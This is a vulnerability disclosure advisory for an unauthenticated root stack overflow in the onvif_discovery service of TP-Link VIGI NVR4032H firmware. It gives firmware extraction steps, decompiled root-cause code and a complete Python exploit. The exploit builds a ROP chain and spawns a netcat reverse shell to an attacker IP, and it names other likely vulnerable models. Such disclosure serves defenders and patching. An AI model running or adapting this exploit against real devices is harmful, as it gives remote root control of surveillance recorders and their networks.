Summary
A buffer overflow in the onvif_discovery binary located at /bin/onvif_discovery which listens on UDP port 5001. This vulnerability can be leveraged by a network-adjacent attacker to execute arbitrary code on the target as root. No authentication is required to exploit this.
Credit
An independent security researcher, n4nika, working with SSD Secure Disclosure
Vendor Response
The vendor has released an updated version, VIGI NVR4032H(UN)_V1_1.0.5 Build 240424, available at: https://www.tp-link.com/en/support/download/vigi-nvr4032h/#Firmware
Affected Versions
VIGI NVR4032H(UN)_V1_1.0.1 Build 230628
Extracting the firmware
Download link: https://static.tp-link.com/upload/firmware/2023/202308/20230816/NVR4032H(UN)_V1.0_230628.zip
This downloads NVR4032H(UN)_V1.0_230628.zip -> sha256sum NVR4032H(UN)_V1.0_230628.zip -> 4720805b09c8c172ecec4ea45d973b89857053bb84f1d2d0140b1215d20d0b65
Then unzip:
unzip NVR4032H(UN)_V1.0_230628.zipcd NVR4032H(UN)_V1.0_230628
Binwalk:
binwalk -e nvr4032hv1_en_1_0_1_up_boot_230628-signed.bincd _nvr4032hv1_en_1_0_1_up_boot_230628-signed.bin.extracted
squashfs-root should be in the current directory now.
Root cause analysis
The vulnerability comes from memory copying user-provided input from a buffer of size 0x5c0 into a smaller buffer of size 576, where the size is also user-controlled.
Code analysis
The binary starts a new thread with the function start_ipcd_thread and listens on UDP port 5001
start_ipcd_thread:
// [ ... ]
iVar3 = epoll_wait(uVar7, (epoll_event * )(sigaction * ) & local_78, 5, -1);
psVar9 = (sigaction * ) & local_78;
for (local_bc = 0; local_bc < iVar3; local_bc = local_bc + 1) {
if (((int)(psVar9 -> __sigaction_handler).sa_handler << 0x1f < 0) &&
((psVar9 -> sa_mask).__val[1] == __fd)) {
/* receives from port 5001 */
sVar4 = recvfrom(__fd, & recv_buffer, 0x5c0, 0, & address, & addrlen);
if (sVar4 != -1) {
iVar10 = checks_validity_later(__fd, & recv_buffer, & address);
if (iVar10 == 0) goto LAB_00012eaa;
printf("[%s:%d]: error, ret = %d\n", "start_ipcd_thread", 0x113, iVar10);
}
}
// [ ... ]
It then passes it to a function which checks the validity of the header and if it is valid, passes it to parse_discovery_frame
undefined4 checks_validity_later(undefined4 param_1, int recv_buffer, int address) {
// [ ... ]
if ((recv_buffer != 0) && (address != 0)) {
iVar1 = check_hdr_validity(recv_buffer, 3);
if (iVar1 == 0) {
if ( * (char * )(recv_buffer + 1) != '\x02') {
return 0;
}
iVar1 = parse_discovery_frame(recv_buffer, 0);
// [ ... ]
}
parse_discovery_frame then allocates a buffer on the stack and calls another function.
undefined4 parse_discovery_frame(int recv_buffer, int flag_) {
// [ ... ]
undefined auStack_264[20];
char smaller_buffer[576];
if (recv_buffer == 0) {
printf("[%s:%d]: invalid argument, ph = NULL\n", "parse_discovery_frame", 0x3a9);
return 0;
}
memset(smaller_buffer, 0, 0x240);
iVar1 = possibly_overflow(recv_buffer + 0xe, ( * (ushort * )(recv_buffer + 10) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + 10) >> 8), 5, smaller_buffer);
// [ ... ]
}
This then calculates a size, based on the user-provided buffer but does no bounds checking and calls another function with that size.
int possibly_overflow(int recv_buffer, uint calced_recv_buf_size, uint param_3, int smaller_buffer) {
// [ ... ]
if (((recv_buffer == 0) || (calced_recv_buf_size < 4)) || (smaller_buffer == 0)) {
iVar1 = -1;
} else {
iVar1 = 0;
iVar3 = 0;
iVar2 = 0;
recv_buffer_1 = recv_buffer;
uVar4 = calced_recv_buf_size;
uVar5 = param_3;
for (; 0 < (int) calced_recv_buf_size; calced_recv_buf_size = (calced_recv_buf_size - some_size) - 4) {
recv_buffer_2 = recv_buffer + iVar2;
some_size = ( * (ushort * )(recv_buffer_2 + 2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer_2 + 2) >> 8);
if (param_3 == (( * (ushort * )(recv_buffer + iVar2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + iVar2) >> 8))) {
switch (param_3) {
case 5:
if ((0x1f < iVar3) || (iVar1 = possibly_overflow_direct(recv_buffer_2, iVar3 * 0x12 + smaller_buffer, some_size, iVar1, recv_buffer_1, some_size, uVar5), iVar1 != 0)) iVar1 = -1;
iVar3 = iVar3 + 1;
iVar1 = 1;
uVar4 = some_size;
break;
// [ ... ]
}
Finally, the overflow happens as content from the user-provided buffer gets memory copied into the previously allocated stack buffer which is smaller than the destination buffer. Since we control the size, this causes the stack-based buffer overflow.
undefined4 possibly_overflow_direct(int recv_buffer, void * smaller_buffer, size_t some_size) {
undefined4 uVar1;
if (((recv_buffer == 0) || (smaller_buffer == (void * ) 0x0)) || ((int) some_size < 0)) {
uVar1 = 0xffffffff;
} else {
memcpy(smaller_buffer, (void * )(recv_buffer + 4), some_size);
uVar1 = 0;
}
return uVar1;
}
Exploitation
NOTE: This exploit has been developed on an emulated VIGI NVR4032H(UN)_V1_1.0.1 Build 230628. With minor modifications, it should also be usable for all other VIGI NVR devices manufactured by TP-Link. In order to use this, please adjust TARGET and ATTACKER to the appropriate IPs and spawn a netcat listener with “nc -lvp 4444” (make sure that your firewall is not blocking the reverse shell)
from pwn import *
import socket
# Exploit for Remote Code Execution on
#
# Vulnerable devices:
# Tested and exploited in emulated environment:
# VIGI NVR4032H(UN)_V1_1.0.1 Build 230628
#
# Untested but very likely to be exploitable due to very similar binary:
# VIGI NVR1016H(UN)_V1.20_1.0.2 Build 230531
# VIGI NVR1008H-8MP(UN)_V1.20_1.0.0 Build 231023
# VIGI NVR1008H(UN)_V2.20_1.0.0 Build 230831
# VIGI NVR1104H-4P(UN)_V1_1.0.2 Build 230530
# VIGI NVR1004H-4P(UN)_V1_1.0.2 Build 230530
# VIGI NVR2016H-16MP(UN)_V1_1.0.1 Build 231017
#
# Possibly exploitable on all VIGI NVR devices manufactured by TP-Link
#
# With some minor adjustment such as offsets, this exploit is very likely to work on all the above listed devices.
#
# In order to just crash the target which should work on most TP-Link VIGI NVR devices,
# just exchange the payload to the one commented out
#
def calc_checksum(packet):
if len(packet) % 2 != 0:
packet += b"\x00"
checksum = 0
for i in range(0, len(packet), 2):
word = (packet[i] << 8) + packet[i + 1]
checksum += word
if checksum & 0xFFFF0000:
checksum = (checksum & 0xFFFF) + 1
checksum = ~checksum & 0xFFFF
checksum_bytes = checksum.to_bytes(2, byteorder="big")
return checksum_bytes
def gen_ropchain(path, argv):
chain_addr = 0x3F860
chain = b"/bin/sh".ljust(12, b"\x00")
chain += p32(chain_addr + 12 + 4 * 4)
chain += p32(chain_addr + 12 + 4 * 5)
chain += p32(chain_addr + 12 + 4 * 6)
chain += p32(0x00)
chain += argv[0].ljust(4, "\x00").encode()
chain += argv[1].ljust(4, "\x00").encode()
chain += (argv[2] + "\x00").encode()
chain = chain.ljust(588, b"\x00")
chain += p32(0x0001E5AD)
chain += p32(chain_addr) # r0
chain += p32(chain_addr + 12) # r1
chain += p32(0x00) # r2
chain += p32(0xDEADBEEF) * 2 # r3, r4
chain += p32(11) # r7 -> SYS_exeve
chain += p32(0x00028660) # svcge -> syscall
return chain
def build_packet(payload):
packet_headers = b"\x01\x02\x0e\x00" + p32(-0x387CD41F, signed=True)
tmp_length = len(payload).to_bytes(2, byteorder="big")
full_payload = b"\x00\x05" + tmp_length + payload
payload_size = len(full_payload).to_bytes(2, byteorder="big")
checksum = calc_checksum(
packet_headers + p16(0) + payload_size + p16(0) + full_payload
)
packet = packet_headers + checksum + payload_size + p16(0) + full_payload
return packet
TARGET_IP = "192.168.122.2"
ATTACKER = "10.0.0.59"
# payload = b"\xff" * 700
payload = gen_ropchain(
"/bin/sh",
[
"sh",
"-c",
f"mknod /tmp/a p; nc {ATTACKER} 4444 0</tmp/a | /bin/sh 1>/tmp/a 2>&1;",
],
)
packet = build_packet(payload)
target_info = (TARGET_IP, 5001)
assert len(packet) < 0x40B
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, target_info)